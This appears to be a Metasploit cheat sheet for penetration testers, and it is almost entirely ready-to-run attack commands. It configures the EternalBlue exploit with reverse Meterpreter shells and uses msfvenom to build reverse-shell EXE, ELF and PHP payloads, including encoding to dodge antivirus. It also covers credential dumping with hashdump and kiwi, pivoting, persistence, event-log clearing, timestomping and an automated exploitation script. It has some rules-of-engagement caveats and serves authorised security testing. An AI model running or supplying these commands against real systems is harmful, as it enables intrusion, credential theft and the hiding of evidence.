Metasploit Cheat Sheet
Covers the Metasploit Framework console workflow including module search, exploit configuration, payload selection, and session handling.
2 PagesIntermediateFeb 15, 2026
msfconsole Basics
Launching and navigating the Metasploit console.
bash
msfconsole # Launch the consolesearch type:exploit eternalblue # Search for a moduleuse exploit/windows/smb/ms17_010_eternalblue # Select a moduleinfo # Show details of selected moduleshow options # List required/optional parametersshow payloads # List compatible payloads
Configuring and Running an Exploit
Setting options and launching an exploit against a target.
bash
set RHOSTS 192.168.1.50set RPORT 445set PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 192.168.1.10set LPORT 4444check # Verify target is likely vulnerableexploit # Or: run
Session & Meterpreter Commands
Managing active sessions after successful exploitation.
- sessions -l- List active sessions
- sessions -i <id>- Interact with a specific session
- background- Send current Meterpreter session to background (Ctrl+Z also works)
- sysinfo- Show target system information (Meterpreter)
- getuid- Show current user context (Meterpreter)
- hashdump- Dump password hashes from SAM database (requires privileges)
- upload / download- Transfer files to/from the target (Meterpreter)
Module Types
The major categories of modules in the framework.
- Exploit- Code that takes advantage of a specific vulnerability
- Payload- Code executed on the target after successful exploitation
- Auxiliary- Scanning, fuzzing, and other non-exploit modules
- Post- Post-exploitation actions run on an active session
- Encoder- Obfuscates payloads to evade signature-based detection
Generating Payloads with msfvenom
Building standalone payloads outside msfconsole for delivery via other vectors.
bash
# Windows reverse TCP meterpreter EXEmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f exe -o shell.exe# Linux ELF reverse shellmsfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f elf -o shell.elf# PHP web shell payloadmsfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f raw -o shell.php# Encode to reduce signature footprint (last-resort, not a real AV bypass)msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o shell_enc.exe# Staged vs stageless: staged payloads pull the second stage over the networkmsfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f exe -o staged.exe
Database & Workspace Management
Organizing engagement data across targets using Metasploit's PostgreSQL backend.
bash
msfdb init # Initialize the database (once, outside console)db_status # Confirm database connectivity inside msfconsoleworkspace -a client-acme # Create and switch to a dedicated workspaceworkspace client-acme # Switch to an existing workspacedb_nmap -sV -p- 10.0.0.0/24 # Scan and auto-import results into the DBhosts # List discovered hosts in current workspaceservices -p 445 # Filter services by portvulns # List vulnerabilities recorded in the workspacedb_export -f xml client-acme.xml # Export workspace data for reporting
Pivoting Through a Compromised Host
Routing further attacks into an internal network segment via an established Meterpreter session.
bash
# Inside msfconsole, background the session firstbackground# Add a route through session 1 to reach the internal subnetroute add 172.16.0.0/16 1# Or use autoroute post module directly on the sessionuse post/multi/manage/autorouteset SESSION 1set SUBNET 172.16.0.0run# Start a SOCKS proxy for external tools (proxychains) to route through the pivotuse auxiliary/server/socks_proxyset SRVPORT 1080set VERSION 4arun -j# Now scan the internal subnet via the pivotuse auxiliary/scanner/portscan/tcpset RHOSTS 172.16.0.0/24run
Advanced Meterpreter Operations
Commands used beyond initial session interaction for stealth and persistence.
- migrate <pid>- Move the Meterpreter process into a more stable/legitimate host process
- load kiwi- Load the Mimikatz-derived extension for credential extraction (creds_all)
- run post/windows/manage/persistence_exe- Install a persistence mechanism surviving reboot (document for report, don't leave active)
- clearev- Clear Windows event logs (use only per authorized ROE, log the action)
- portfwd add -l 3389 -r 10.0.0.20 -p 3389- Forward a local port through the session to an internal target
- timestomp- Modify file MACE timestamps to blend with existing filesystem activity
Automating Engagements with Resource Scripts
Scripting repeatable msfconsole workflows for consistent, fast setup across engagements.
bash
# autopwn.rcworkspace -a engagement1db_nmap -sV -p 445 10.0.0.0/24use exploit/windows/smb/ms17_010_eternalblueset RHOSTS 10.0.0.20set PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 10.0.0.10set LPORT 4444exploit -j -z# Run the resource script from the shell or inside msfconsolemsfconsole -r autopwn.rc# or, from within msfconsole:resource autopwn.rc
Pro Tip
Run 'db_nmap' instead of a plain nmap scan when the PostgreSQL database is connected — results are stored automatically and can be queried with 'hosts' and 'services', feeding directly into module targeting.
Was this cheat sheet helpful?
Explore Topics
#Metasploit#MetasploitCheatSheet#Cybersecurity#Intermediate#MsfconsoleBasics#ConfiguringAndRunningAnExploit#SessionMeterpreterCommands#ModuleTypes#CheatSheet#SkillVeris
